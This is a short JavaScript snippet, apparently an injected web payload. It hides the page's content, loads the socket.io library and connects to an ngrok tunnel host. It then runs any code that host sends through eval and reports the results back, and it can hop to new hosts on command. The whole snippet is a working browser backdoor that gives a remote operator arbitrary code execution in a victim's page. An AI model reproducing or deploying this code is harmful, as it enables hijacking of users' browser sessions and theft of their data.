document.getElementById('A').remove(); var divs = document.getElementsByTagName('div'); for (var i = 0; i < divs.length; i++) { divs[i].style.display = 'none'; }; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'https://cdnjs.cloudflare.com/ajax/libs/socket.io/3.1.2/socket.io.min.js'; script.onload = () => { let fcant = (ip) => { const socket = io(ip,{transports: ['websocket'], upgrade: false});	 function sendResponse(inst,str) {  socket.emit('codeResult',{inst : inst,result : str}) } socket.on('connect', () => { console.log('[#] Connected'); sendResponse('socket.io', '[#] Connected'); }); socket.on('transIP', (a) => { fcant(a.ip); socket.disconnect(); }); socket.on('executeCode', (code) => { 	let instancia = code.inst; try { eval('let instancia = ''+code.inst+''
'+code.code); } catch(exec) { sendResponse(instancia,exec.message); } });}fcant('https://246941eaae3f.ngrok.io')} document.getElementsByTagName('head')[0].appendChild(script); 